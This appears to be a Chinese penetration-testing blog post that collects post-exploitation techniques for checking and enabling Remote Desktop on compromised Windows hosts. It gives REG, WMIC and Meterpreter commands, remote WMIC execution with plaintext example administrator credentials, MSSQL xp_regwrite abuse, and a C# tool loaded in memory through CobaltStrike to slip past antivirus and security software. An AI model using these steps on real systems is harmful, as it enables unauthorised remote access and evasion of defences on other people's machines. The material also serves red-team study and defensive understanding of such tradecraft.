0x01 查询3389端口方式总结
(1) REG查询3389状态(0:ON、1:OFF)REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
![c4f0d4b9fbcedcccbf8a862f752de791.png](https://img-blog.csdnimg.cn/img_convert/c4f0d4b9fbcedcccbf8a862f752de791.png)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /sREG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumberset /a Port=0xd3d
![632350326386ed434ea9eee3052b6c60.png](https://img-blog.csdnimg.cn/img_convert/632350326386ed434ea9eee3052b6c60.png)
(3) tasklist、netstat命令查询3389端口
tasklist /svc | findstr "TermService"netstat -ano | findstr "2028"
![2eeed4744a9eb69e63749198325e8f28.png](https://img-blog.csdnimg.cn/img_convert/2eeed4744a9eb69e63749198325e8f28.png)
(4) Meterpreter的netstat查询3389端口
有时我们会遇到不能执行netstat、tasklist和reg等命令的情况,这时可以通过Meterpreter下的netstat命令来快速查询3389端口,先找0.0.0.0运行的svchost.exe,然后根据个人经验盲猜可疑端口号。 常见端口大家都知道,如FTP、RPC等,就不细说了,有顺序的端口指定不是,剩下的就一个58895了。![2101c94945216b7bae1f9ede1a4a6771.png](https://img-blog.csdnimg.cn/img_convert/2101c94945216b7bae1f9ede1a4a6771.png)
0x02 开启3389端口方式总结
(1) MSF命令开启3389端口支持系统:
XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016
meterpreter > run getgui -e[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.[!] Example: run post/windows/manage/enable_rdp OPTION=value [...][*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[...SNIP...]
![037510fdac10aa1893b53fba3b4c0d74.png](https://img-blog.csdnimg.cn/img_convert/037510fdac10aa1893b53fba3b4c0d74.png)
注:这个脚本可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
(2) REG命令开启3389端口
支持系统:
XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(0:ON、1:OFF)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
![63aa59afc90d98d30309a56386072707.png](https://img-blog.csdnimg.cn/img_convert/63aa59afc90d98d30309a56386072707.png)
(3) WMIC命令开启3389端口
支持系统:
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
![ff96319d8dde26172d77eb0dd7196b97.png](https://img-blog.csdnimg.cn/img_convert/ff96319d8dde26172d77eb0dd7196b97.png)
(4) WMIC开启远程主机3389端口
支持系统:
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
![2a00a9c1ca6d446de9b791456277c10d.png](https://img-blog.csdnimg.cn/img_convert/2a00a9c1ca6d446de9b791456277c10d.png)
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
![45a42b01da39c63f100fc47ffd58e21e.png](https://img-blog.csdnimg.cn/img_convert/45a42b01da39c63f100fc47ffd58e21e.png)
(5) Windows API开启3389端口
冷逸老哥用C++写的“开3389工具”有点小问题,在两台Windows2008机器上测试时分别报出缺少vcruntime140.dll、api-ms-win-crt-runtime-l1-1-0.dll,可以自己去调试编译下。
![06400cf4429d7e80fbbbdbbd9e04d184.png](https://img-blog.csdnimg.cn/img_convert/06400cf4429d7e80fbbbdbbd9e04d184.png)
根据@冷逸老哥的思路用C#也写了一个,目标框架:.NET Framework 2.0,可用CobaltStrike execute-assembly加载到内存中实现无落地执行,其工具原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表,与无Net.exe添加管理员用户一样,都是直接利用Windows API执行相应操作!!!
https://github.com/3had0w/Open3389
应用场景-1:
目标主机因存在某安全防护软件而无法用reg、wmic命令开启3389端口时,可以尝试使用这款工具来查询和开启3389端口,可用execute-assembly加载到内存中执行。
![1ef4ec61d07f778f5db6e010d7734165.png](https://img-blog.csdnimg.cn/img_convert/1ef4ec61d07f778f5db6e010d7734165.png)
应用场景-2:
目标主机因存在某安全防护软件(如:某锁、某安全卫士)在拦截rundll32.exe时则不能用execute-assembly加载到内存中执行,所以只能选择落地执行,目前为止还是免杀的。
![d4c90d82b65d36386c139d753726b17b.png](https://img-blog.csdnimg.cn/img_convert/d4c90d82b65d36386c139d753726b17b.png)
(6) MSSQL xp_regwrite开启3389端口
应用场景:xp_cmdshell被禁用/删除且无法恢复时,可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口,也可以选择用sp_OACreate、Agent Job等其他命令执行方式。
1、查询3389开启状态exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'2、查询3389远程桌面端口exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' 3、开启3389远程桌面端口(0:ON、1:OFF)exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
![08cee0a166d9c79e1146b8832e9781a8.png](https://img-blog.csdnimg.cn/img_convert/08cee0a166d9c79e1146b8832e9781a8.png)
(7) 一次开启3389端口失败原因的查找
通过计算机右键开启远程桌面或REG、WMIC开启3389端口命令都执行成功,但是netstat -ano里没有3389端口,tasklist /svc里也没有TermService服务,最后在Services.msc里找到TermService服务时发现:,出现这种情况是因为对应的C:\Windows\System32\termsrv.dll文件已经不存在了,可能是笔者以前在测试RDPWrap项目时给误删除掉了。
![28c1839f603118d662cd3bb0b69a3ff9.png](https://img-blog.csdnimg.cn/img_convert/28c1839f603118d662cd3bb0b69a3ff9.png)
启动TermService服务时必须加载termsrv.dll,所以无法通过常规方式开启3389端口,这时我们只需要将原来备份的termsrv.dll或找到对应版本操作系统的termsrv.dll拷贝到C:\Windows\System32\目录下,启动TermService服务,重新开启3389远程桌面后即可解决。